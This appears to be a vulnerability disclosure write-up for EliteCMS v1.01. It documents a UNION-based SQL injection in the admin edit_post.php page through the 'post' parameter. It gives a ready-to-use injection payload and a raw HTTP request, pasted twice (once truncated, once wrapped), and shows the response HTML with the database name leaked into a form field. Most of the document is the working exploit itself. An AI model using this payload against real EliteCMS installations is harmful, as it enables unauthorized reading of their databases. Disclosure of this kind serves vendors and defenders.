debug601 Create SQLi-2.md History

1 contributor

27 lines (19 sloc) | 1.02 KB

Elitecms v1.01 by elitecms has SQL injection

vendors: https://elitecms.net/download.php

Vulnerability File: /admin/edit_post.php

Vulnerability location: ip/eliteCMS1.01/admin/edit_post.php?page=1&post=, post

dbname: elitecms101

[+] Payload: /eliteCMS1.01/admin/edit_post.php?
page=1&post=-1%20union%20select%201,2,3,4,database(),6--+ // Leak place ---> post

```
GET /eliteCMS1.01/admin/edit_post.php?page=1&post=-1%20union%20select%201,2,3,4,data
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
GET
/eliteCMS1.01/admin/edit_post.php?page=1
&post=-1%20union%20select%201,2,3,4,data
base(),6--+ HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicati
on/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf12
0e
Connection: close
```

```
</td>
</tr>
<tr>
<td class="padd">Post Title :</td>
<td class="padd">
<input name="title" type="text" class="input" id="title" value="elitecms101"/>
</td>
</tr>
<tr bgcolor="#EEF7FD">
<td class="padd">Post Published :</td>
<td class="padd">
<select name="active" class="select">
<option value="1" >Yes</option>
<option value="0" >No</option>
</select>
</td>
</tr>
<tr>
<td valign="bottom" class="padd">Post Position :</td>
<td valign="bottom" class="padd">
<div id="aPositions">Already acquired positions.<ul><li>Post : Welcome to EliteCMS.
</ul></div><input name="position" type="text" class="inputSmall" id="position" value="3"
</td>
</tr>
```